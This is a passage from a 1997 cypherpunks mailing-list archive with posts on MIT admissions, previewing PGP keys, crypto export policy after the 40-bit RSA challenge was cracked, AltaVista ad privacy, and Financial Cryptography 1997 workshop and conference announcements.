r1K13Jlr4Li93f59OKci5Rrz6eiCIvXlII9w4o2ejYJp8EPZdNsTKg==
=Mh6f
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Tue, 28 Jan 1997 22:59:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Getting into MIT is impossible
Message-ID: <199701290659.WAA21869@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




According to Rick Osborne:

"I disagree and can speak from experience.  I was denied admission to MIT
even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
was on several academic teams, sang in Chorus, acted and stage managed in
Drama, and played Tennis."

People get into MIT--or don't get into MIT--for lots of reasons. Most
intelligent people apply to several schools, knowing that admissions
practices are subject to the vagaries of reality.

In my case, my SATs were about 1500, with some 800s in achievement tests.
And the usual bullshit high school clubs, political offices, etc. etc. I
was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
way things turned out.

And I decided not to go to MIT, either.

"The only thing I didn't have that the next MIT applicant had was money.  I
made the mistake of letting them know that I was dirt poor and would need
full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
Russian front!""

My guess is that "other factors" were involved. 

I noted with some interest, but little surprise, that the guy claiming MIT
required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
had major problems making a coherent point. Methinks this is why MIT
rejected him, not his lack of a "1600."

">For what it's worth, I wanted to go to MIT my sophomore year in high
>school, too

"Lucky you.  It had been a dream of mine since I was an annoying
overachiever of 6.  Sux to be white trash, I guess."

MIT offered me a substantial economic aid package, in the form of loans,
grants, and various campus jobs. What does this tell you?

"MIT may be a great school, but they tend to be snooty assholes for the most
part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
assholes", I'm just saying that I've yet to meet one that wasn't.)

I've known about a dozen or so MIT grads, and only one of them was a snooty
asshole, and it was a _she_, one of the first MIT women grads (and she was
_very_ impressed by this). 

Most MIT grads are perfectly reasonable.

Xanthar




--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 07:11:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP Key Preview...
Message-ID: <199701291511.HAA03682@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

is there a way to preview the contents of a received public key,
without adding it automatically to the public key ring?

Thanks a lot in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunrbjltEBIEF0MBAQEisgf+OBS8Q06g3pNfKgntaKQdCkHyLXZWHjI7
hOnVeF47C0qgsFjEEymnrQMl4b1l2zcRgqUKTY8jXhmaY6yeGcoRXc5hgo1679MY
l+7BTNKIy2YTnzjhFk5bOKXk6V9DDWfq4chhCE2dpEVdUgRPVTfkfbm5VEN+zmn8
gaXyIf/bYv5GEs2F/FPc1kTmySx/NT5CvbvQRHaQdfEDk+QatnRjRLSsprln8cnt
vxqZO9a6lveygA/wECPdx1gnHBhrscUeaLHIXz4YVVaSMrkEHJfLWOrzQHg2CGwQ
o5OcKmuY0FcvzfpS2Yo0/lA8+/Ez83yUAdeEeY+yF7p2XgrLaOiFnw==
=o/jO
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 07:11:36 -0800 (PST)
To: FC97 Distribution <rah@shipwright.com>
Subject: Call for Participants: The Financial Cryptography 1997 Workshop for Senior Managers and IS Professionals
Message-ID: <199701291511.HAA03685@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


CALL FOR PARTICIPANTS
The Financial Cryptography 1997 (FC97)
Workshop for Senior Managers and IS Professionals
February 17-21, 1997
The InterIsland Hotel
Anguilla, BWI
<http://www.offshore.com.ai./fc97/>

Workshop Update: January 29, 1997

FC97 is sponsored by:

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.vmeng.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here! <mailto: rackliffe@tcm.org>

FC97 Workshop for Senior Managers and IS Professionals
February 17-21, 1997

FC97 Conference and Exhibition,
February 24-28, 1997

The Inter-Island Hotel
Anguilla, BWI

Workshop and Conference Reservations: <http://www.offshore.com.ai./fc97/>



The world's first intensive financial cryptography workshop for senior
managers and IS professionals will be held Monday through Friday, February
17-21 1997, from 9:00am to 6:00pm, at the Inter-Island Hotel on the
Carribbean island of Anguilla.

This workshop will be the prelude to the world's first peer-reviewed
financial cryptography conference and commercial exhibition, Financial
Cryptography 1997 (FC97), which will be held the following week, February
24-28, 1997.


The goals of the combined workshop, conference and exhibition are:

-- to give senior managers and IS professionals a solid understanding of
the fundamentals of strong cryptgraphy as applied to financial
operations on public networks,

-- to provide a peer-reviewed forum for important research in financial
cryptography and the effects it will have on society, and,

-- to showcase the newest products in financial cryptography.

Workshop and Conference participants are encouraged to bring their
families, though Workshop participants should expect to be busy the first
week. :-).


The Workshop

Ian Goldberg, the Workshop chair, has picked an outstanding team of
instructors in financial cryptography and internet financial system
security to teach the courses in this workshop. The Workshop will consist
of 40 hours of intensive instruction and lab time over 5 days. Each student
will have their own internet workstation, and the lab will be open 24
hours.  The SSL internet commerce server used in the workshop will be
Stronghold, developed by C2NET, of Berkeley, California. For information on
Stronghold, please see <http://www.c2.net/>. Thanks to C2NET for their
gracious donation of this outstanding software to the FC97 Workshop.


Who Should Attend

The Workshop is intended for senior IS managers and technical professionals
who want to get completely up to speed on the design, development, and
implementation of financial cryptography systems, the core technology of
internet commerce. After the workshop, senior managers will have a hands-on
understanding the strengths and liabilities of currently available
financial cryptography and internet transaction security software and
hardware, and thus be able to make better asset allocation decisions in
this area of explosive technology growth. Senior technical professionals
with strong IS experience will be able to implement those technologies and
to pass on what they've learned to their clients and colleagues when they
return home.

The Workshop will be held in a casual but intensive atmosphere at the very
cutting edge of financial technology on the internet. Someone has likened
the experience to a financial cryptography bootcamp.  At the end, Workshop
attendees will be utterly conversant in cryptography as it applies to
finance, and will be quite prepared for the technical papers in the FC97
conference the following week. Workshop participants will not only know
what everyone else is doing now in internet commerce, but, more important,
because they understand the implications of strong financial cryptography
on ubiquitous public networks, they will be able to know what to do *next*.


The Workshop Leader

Ian Goldberg is a Ph.D. student in security and cryptography at the
University of California, Berkeley. Just last night, he cracked RSA Data
Security Inc.'s 40-bit challenge cipher in just under 3.5 hours. In late
1995, he discovered what became a much-publicized flaw in Netscape's
implementation of SSL. He is a recognized expert in electronic payment
systems, and in DigiCash's ecash digital bearer certificate protocol in
particular. He has produced several ecash clients for Unix and Windows, as
well as an ecash module for the Stronghold web server, which has extended
the existing ecash system for better security, privacy, and ease-of-use.

The Principal Instructors

Gary Howland worked on digital cash systems for DigiCash, and then moved to
Systemics, where he developed the SOX protocol, a flexible payments system
currently in use in a bond trading environment, soon to be available to the
public. He also developed the Cryptix and PGP libraries in Perl, and
assisted on the Cryptix and PGP library implementations in Java.

Adam Shostack is a security consultant based in the Boston area. He has
extensive background in designing, implementing and testing secure systems
for clients in the medical, computer, and financial industries. His recent
public work includes 'Apparent Weaknesses in the Security Dynamics Client
Server Protocol,' 'Source Code Review Guidelines,' and comparisons of
freely available cryptographic libraries. His clients include Fidelity
Investments and the Brigham and Women's Hospital, in Boston.


Additional Instructors

The Workshop will have student-to-instructor ratio of 5 to 1, not including
the Workshop leader. The Workshop will have an initial enrollment of 10
students, and an additional instructor will be added for each 5 students up
to a 25 student maximum enrollment.


Workshop Topics

The following is the complete list of topics that the workshop will cover:


      Security on the Internet
            Internet Protocols: IP, TCP, UDP
            Higher-level Protocols: Telnet, FTP, HTTP, SSL
            Solid Foundations for Cryptographic Systems
            A History of Internet Attacks
            Building Internet Firewalls
            Building a Bastion Host
            Turning your Bastion Host into a Web Server
            Non-internet Internet Security
      Cryptography
            The Need for Cryptography
            History of Cryptography
            Classical Methods
            Modern Methods
            Private and Public Key Cryptography
            Authentication vs. Security
            Certification and Public Key Infrastructures
            Cryptographic Protocols
            Engineering a Cryptographically Secure System
            Why Cryptography is Harder than it Looks
            Security Through Obscurity and How to Recognize Snake Oil
      Internet Payment Systems
            Payment models: coin-based, cheque-based, account-based
            Security Issues
            Privacy and Anonymity Issues
            Smartcards vs. Software
            Existing Payment Schemes
                  Credit Cards
                  First Virtual
                  CyberCash
                  DigiCash
            Forthcoming Payment Schemes
                  SET
                  Mondex
                  Millicent
                  micropayments
      Setting Up an ecash-Enabled Web Server
            Setting up the Web Server
            Signing up for ecash
            Installing the ecash Module
            Setting Prices
            Logging
            Advanced Methods
                  ecashiers
                  moneychangers


The workshop has been covered by Wired Magazine, and FC97 was the featured
conference in the January 1997 "Deductible Junkets" section. So, if you
have already decided to come to the FC97 Workshop and Conference, please
register and make your plane and hotel reservations as soon as possible.
Workshop space is extremely limited.

The price of the workshop is $5,000 U.S. You can pay for your FC97 workshop
ticket with Visa or MasterCard, with ecash, or with any of a number of
other internet commerce payment protocols, at the
regstriation site: <http://www.offshore.com.ai/fc97/>.

The workshop price includes meals (but not lodging) at the InterIsland
Hotel and lab space, plus the delivery and installation of hardware,
network access, internet commerce software, all to a location like
Anguilla. And, of course, 40 hours of instruction and structured lab
activity.  We have priced the workshop to be competitive with other
comprehensive business and professional technology workshops of similar
total session length.

In addition, the first 10 FC97 workshop participants will receive a 50%
reduction in their FC97 Conference and Exhibition fee, for a savings of
$500 off the $1,000 conference admission.

You can register, and pay for, your workshop ticket at:

<http://www.offshore.com.ai/fc97/>



Air Transportation and Hotels

Air travel to Anguilla is typically done through San Juan, St. Thomas or
St. Maarten/Martin. There are several non-stop flights a day from various
US and European locations. Connection through to Anguilla can be made
through American Eagle, or through LIAT, or in the case of St. Maarten,
with a short ferry ride to Anguilla. See your travel agent for details.

Anguilla's runway is 3600 feet, with a displaced threshold of 600 feet,
and can accomodate business jets. Obviously, you should talk to your
aviation staff for details about your own aircraft's capabilities in this
regard.

Anguilla import duties are not imposed on hardware or software which
will leave the island again, so, as long as you take it with you when
you leave, you won't pay import duties.

PLEASE NOTE: Your FC97 Workshop fee only covers *meals* at the InterIsland
Hotel. The InterIsland is actually a small guesthouse attached to a large
conference facility, and so rooms there are in short supply. Fortunately,
there are lots of small hotels and guesthouses nearby. For more information
on these hotels, please see <http://www.offshore.com.ai/fc97/> for more
information.

Other hotels on Anguilla range from spartan to luxurious, all within easy
walking or driving distance of the Workshop at the InterIsland. More
information about Anguillan hotels can be obtained from your travel agent,
or at <http://www.offshore.com.ai/fc97/>.


Registration and Information for Other FC97 Events

To register and pay for your ticket to the FC97 conference itself, see:
<http://www.offshore.com.ai/fc97/>

For information the selection of papers for the FC97 conference see:
<http://www.cwi.nl/conferences/FC97>

If you're interested in Exhibition space, please contact Julie Rackliffe:
<mailto:rackliffe@tcm.org>

If you're interested in sponsoring FC97, also contact Julie Rackliffe:
<mailto:rackliffe@tcm.org>


Financial Cryptography '97 is held in cooperation with the International
Association for Cryptologic Research. The conference proceedings will be
published on the web by the Journal for Internet Banking and Commerce.
<http://www.arraydev.com/commerce/JIBC/>.



The FC97 Organizing Committee:

Vince Cate and Bob Hettinga, General Chairs
Ray Hirschfeld, Conference Chair
Ian Goldberg, Workshop Chair
Julie Rackliffe, Conference, Exhibit, and Sponsorship Manager

And our sponsors...

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.vmeng.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 07:11:34 -0800 (PST)
To: FC97 Conference Distribution <rah@shipwright.com>
Subject: FC97: PRELIMINARY CONFERENCE PROGRAM
Message-ID: <199701291511.HAA03684@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '97
		  February 24-28 1997, Anguilla, BWI
		       PRELIMINARY PROGRAM


General Information:

Financial Cryptography '97 (FC97) is a new conference on the security
of digital financial transactions.  The first meeting will be held on
the island of Anguilla in the British West Indies on February 24-28,
1997.  FC97 aims to bring together persons involved in both the
financial and data security fields to foster cooperation and exchange
of ideas.

Original papers were solicited on all aspects of financial data
security and digital commerce in general.

Program Committee:

Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands
Arjen Lenstra, Citibank, New York, NY, USA
Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA
Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA
Charles Merrill, McCarter & English, Newark, NJ, USA
Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA
Sholom Rosen, Citibank, New York, NY, USA
Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA

Preliminary Conference Program for FC97:

Monday 24 February 1997

 830 --  905

    Anonymity Control in E-Cash Systems
    George Davida (University of Wisconsin, Milwaukee, WI, USA),
    Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA),
    Yiannis Tsiounis (Northeastern University, Boston, MA, USA),
    Moti Yung (CertCo, New York, NY, USA)

 905 --  940

    How to Make Personalized Web Browsing Simple, Secure, and Anonymous
    Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer
        (Bell Laboratories, Lucent Technologies)

 940 -- 1015

    An Anonymous Networking Infrastructure and Virtual Intranets
    Jim McCoy (Electric Communities, Cupertino, CA, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120

    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

1120 -- 1155

    Efficient Electronic Cash with Restricted Privacy
    Cristian Radu, Rene Govaerts, Joos Vandewalle
        (Katholieke Universiteit Leuven, Leuven, Belgium)

1155 -- 1230

    The SPEED Cipher
    Yuliang Zheng (Monash University, Melbourne, Australia)


Tuesday 25 February 1997

 830 --  930
    Invited Speaker
    To Be Announced

 930 -- 1005

    Smart Cards and Superhighways
        The technology-driven denationalisation of money
    David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England)

1005 -- 1045
    Coffee Break

1045 -- 1120

    Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
        Engineering in Perspective
    David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

1120 -- 1155

    Some Critical Remarks on "Dynamic Data Authentication" as
        specified in EMV '96
    Louis C. Guillou (CCETT, Cesson-Sevigne, France)

1155 -- 1230

    Single-chip implementation of a cryptosystem for financial
        applications
    Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany)


Wednesday 26 February 1997

 830 --  930
    Invited Speaker
    Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA)

 930 -- 1005

    Cyberbanking and Privacy: The Contracts Model
    Peter P. Swire (Ohio State University, Columbus, OH, USA)

1005 -- 1045
    Coffee Break

1045 -- 1120

    SVP: a Flexible Micropayment Scheme
    Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France)

1120 -- 1155

    An efficient micropayment system based on probabilistic polling
    Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA),
    Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA)

1155 -- 1230

    On the continuum between on-line and off-line e-cash systems - I
    Yacov Yacobi (Microsoft, Redmond, WA, USA)


Thursday 27 February 1997

 830 --  905

    Auditable Metering with Lightweight Security
    Matthew K. Franklin, Dahlia Malkhi
        (AT&T Labs--Research, Murray Hill, NJ, USA)

 905 --  940

    Applying Anti-Trust Policies to Increase Trust in a Versatile
        E-Money System
    Markus Jakobsson (UCSD, La Jolla, CA, USA),
    Moti Yung (BTEC/CertCo, New York, NY, USA)

 940 -- 1015

    Towards Multiple-payment Schemes for Digital Money
    H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany)

1015 -- 1045
    Coffee Break

1045 -- 1120

    Legal Issues in Cryptography
    Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA)

1120 -- 1230
    Panel Discussion
    Legal Issues of Digital Signatures
    Michael Froomkin (University of Miami School of Law, Miami, FL, USA),
    Charles Merrill (McCarter & English, Newark, NJ, USA),
    Benjamin Wright (Dallas, TX, USA)

Friday 28 February 1997

 830 --  930
    Invited Speaker
    To Be Announced

 930 -- 1005

    The Gateway Security Model in the Java Electronic Commerce Framework
    Theodore Goldstein (Sun Microsystems Laboratories/Javasoft)

1005 -- 1045
    Coffee Break

1045 -- 1120

    Highly Scalable On-line Payments Via Task Decoupling
    David William Kravitz (CertCo LLC, Albuquerque, NM, USA)

1120 -- 1155

    GUMP; Grand Unified Meta-Protocols
        Recipes for Simple, Standards-based Financial Cryptography
    Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA)

1155 -- 1230

    Secure Network Communications and Secure Store & Forward Mechanisms
        with SAP R/3
    Bernhard Esslinger (SAP AG, Walldorf, Germany)





The conference will run from 8:30 AM to 12:30 PM, for five days, February
24-28 1997. Breakfast provided at the conference. The conference
organizers have left the afternoon and evenings open for corporate
sponsored events, for networking, and for recreational activities on the
resort island of Anguilla. Participants are encouraged to bring their families.

Workshop:

A 40-hour workshop, intended for anyone with commercial software
development experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with FC97,
to be held during the week preceding the conference.

For more information on the workshop, please see the URL
http://www.cs.berkeley.edu/~iang/fc97/workshop.html .

For workshop registration, see the URL
http://www.offshore.com.ai/fc97/ .


Venue:

The InterIsland Hotel is a small 14-room guesthouse and a large,
comfortable 150 seat conference facility with additional space for a small
10-booth exhibition. The Inter-Island is on Road Bay, near Sandy Ground
Village, in the South Hill section of Anguilla. The conference, workshop,
and exhibition will have TCP/IP internet access. The rooms at the
InterIsland itself have sold out, but there are many other hotels
and guesthouses on Anguilla, and shuttle service to the conference will be
available.

Air Transportation and Hotels:

Air travel to Anguilla is typically done through either San Juan or St.
Thomas for US flights, or St. Maarten/Martin for flights from Europe and
the US.

Anguillan import duties are not imposed on hardware or software which will
leave the island again. There are no other taxes -- or cryptography
import/export restrictions -- on Anguilla.

Hotels range from spartan to luxurious, and more information about hotels
on Anquilla can be obtained from your travel agent, or at the URL
http://www.offshore.com.ai/fc97/ .


General Chairs:

Robert Hettinga, Shipwright/e$, Boston, MA, USA;
rah@shipwright.com

Vincent Cate, Offshore Information Services, Anguilla, BWI;
vince@offshore.com.ai

Conference, Exhibits, and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA;
rackliffe@tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA;
iang@cs.berkeley.edu


Registration:

You can register and pay for conference admission on the World Wide Web at
the URL http://www.offshore.com.ai/fc97/ .

The cost of the FC97 Conference is US$1,000.

Booths for the exhibition start at US$5,000 and include two conference
tickets. For more information about exhibit space, contact Julie Rackliffe,
rackliffe@tcm.org . Sponsorship opportunities for FC97 are still available.

The cost of the workshop is US$5000, and includes meals but not lodging.
You can register for the workshop, which runs the week prior to the
conference, at the URL <http:/www.offshore.com.ai/fc97>



Financial Cryptography '97 is held in cooperation with the
International Association for Cryptologic Research.

It is sponsored by:

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 29 Jan 1997 07:10:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: COO_kin
Message-ID: <199701291510.HAA03568@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


1-29-97. NYP:

GAK-czar cooks key hooks.

FBI cooks lab books.

-----

COO_kin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 29 Jan 1997 07:13:11 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: AltaVista sprouts a hole ...
Message-ID: <199701291513.HAA03690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga <rah@shipwright.com> writes:
> --- begin forwarded text
> 
> 
> Sender: e$@thumper.vmeng.com
> Reply-To: Russell Stuart <R.Stuart@rsm.com.au>
> MIME-Version: 1.0
> Precedence: Bulk
> Date: Wed, 29 Jan 1997 08:07:27 +1000
> From: Russell Stuart <R.Stuart@rsm.com.au>
<snip>

> However, the doubleclick.net ads appear to bear no relationship to the
> keywords being searched, and they appear not only in the URL for the
> hyperlink to follow, but also in the IMG SRC URL.  This means that in
> order
> to avoid disclosing my keyword lists to doubleclick.net, I have to
> disable
> automatic loading of inline images when using AltaVista!

Actually, the ads *do* relate to the keywords. Try doing a search for
"flowers" and a search for "sex."

http://www.anonymizer.com/

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMu9TH8kz/YzIV3P5AQEL8AL/Tj6fj0hRMYZVK1ppuh/DSxtB89urgSDy
DDmA6ycn0DmmUg1TL7w8k2vkN/srUfvddA6pu3vZGU8Pa3unA4LSAe3ipCygzuGK
d1s0BW+Cy15HDjdTdFe9I0tYfjdNQo2B
=26sJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 29 Jan 1997 07:14:52 -0800 (PST)
To: spyking@thecodex.com
Subject: Re: Best Computer School?
Message-ID: <199701291514.HAA03700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Matthew Toth <mst114@psu.edu> writes:
>         MIT is one the best schools in the country for C.S.
>         Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
> PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.

I think there's one class on crypto (explicitly), but there's some
talent here. One who was interested could get an independant study or
a research job without too much trouble. After all, MIT isn't the only
place that writes kerberos, AFS, and the like.

(In case you're wondering, the "A" in AFS stands for "Andrew," of
Andrew Carnegie.)

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMu9V+skz/YzIV3P5AQH/XgL/VFA/4M1XTD8xl86Y6GrtU46YGpmGnhn6
lDKSA/xaxAzUToPTXQdyNqY5xg5CpfwYraVEiyLIvWKsIvOWtJgG3cZzF+xqlx39
sgbM0L6aMXrXkGqLdosZMjrr9Rqc6KE5
=FTU1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Bellovin <smb@research.att.com>
Date: Wed, 29 Jan 1997 07:11:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291511.HAA03683@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It is dangerously naive to label this success the ``last nail for US
crypto export policy''.  Everyone concerned with this issue, from the
NSA to the FBI to anyone who wants to use crypto, understands this
and accepts it.  40-bit keys are good for protection against casual
snooping, and nothing more -- and no one is going to claim that you
need supercomputers to crack them.  In fact, I assert that the U.S.
government is *happy* about these results -- because it's going to
push folks towards wanting stronger crypto for export.  The only problem,
of course, is the terms under which such code can be exported...

I'll go further -- in my opinion, the only reason the government doesn't
want DES to fall just yet is that alternatives aren't ready.  That is,
the banks and financial institutions, and for that matter the government
agencies, have not converted to 3DES or Clipper or what have you, and
can't do so on short notice; the commercial products they need just aren't
ready yet.  No one wants to risk a loss of confidence in the financial
system.  Two years from now, though, when some key escrow products are
ready, it may be a different story.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Bellovin <smb@research.att.com>
Date: Wed, 29 Jan 1997 08:31:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291631.IAA04966@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It is dangerously naive to label this success the ``last nail for US
crypto export policy''.  Everyone concerned with this issue, from the
NSA to the FBI to anyone who wants to use crypto, understands this
and accepts it.  40-bit keys are good for protection against casual
snooping, and nothing more -- and no one is going to claim that you
need supercomputers to crack them.  In fact, I assert that the U.S.
government is *happy* about these results -- because it's going to
push folks towards wanting stronger crypto for export.  The only problem,
of course, is the terms under which such code can be exported...

I'll go further -- in my opinion, the only reason the government doesn't
want DES to fall just yet is that alternatives aren't ready.  That is,
the banks and financial institutions, and for that matter the government
agencies, have not converted to 3DES or Clipper or what have you, and
can't do so on short notice; the commercial products they need just aren't
ready yet.  No one wants to risk a loss of confidence in the financial
system.  Two years from now, though, when some key escrow products are
ready, it may be a different story.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <falk@Eng.Sun.COM>
Date: Wed, 29 Jan 1997 11:11:10 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP Key Preview...
Message-ID: <199701291911.LAA07734@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> is there a way to preview the contents of a received public key,
> without adding it automatically to the public key ring?

Trivial.  Just have pgp look at the file without giving it any commands.
I.e. instead of

	pgp -ka <filename>
do
	pgp <filename>

Pgp will examine the file, tell you it contains keys, show them to
you and then ask if you want to add them to your keyring.  This is
the way I normally add keys, just because I like to look at *any* file
before I add it to any system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <falk@Eng.Sun.COM>
Date: Wed, 29 Jan 1997 11:11:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291911.LAA07740@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>   I just ran out of asswipe.
>   Does anyone have any RSA Data Security, Inc. stock they'd like to
> sell?

Now, now.  I don't think RSADSI had any illusions of 40-bit keys being
secure; they just wanted to find out just *how* insecure they were.

I suspect that this crack will *benefit* RSADSI, and the rest of the
crypto community, by helping to convince the feds to ease up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Wed, 29 Jan 1997 07:10:59 -0800 (PST)
To: Phil Karn <karn@Qualcomm.com>
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
Message-ID: <199701291510.HAA03613@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Phil Karn sez:
> 
> This seems clear enough. If it's printed on paper, it's kosher for
> export. But if we're really overt about it, we may goad the government
> into attempting to control printed source code as well. That could
> prove most interesting.

I wonder where the ADA-approved Large Print for the vision-impaired
edition falls. 


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Wed, 29 Jan 1997 11:20:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701291920.LAA08056@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne writes:
 > At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
 > >This is really exagerating.  You do not need a 4.0, 1600, etc. to be
 > >admitted to MIT.  Sure, you need good grades, but a 3.6 average and
 > >1350-1400 SAT scores is perfectly adequate to be admitted to MIT.
 > 
 > I disagree and can speak from experience.  I was denied admission to MIT
 > even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
 > with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
 > was on several academic teams, sang in Chorus, acted and stage managed in
 > Drama, and played Tennis.

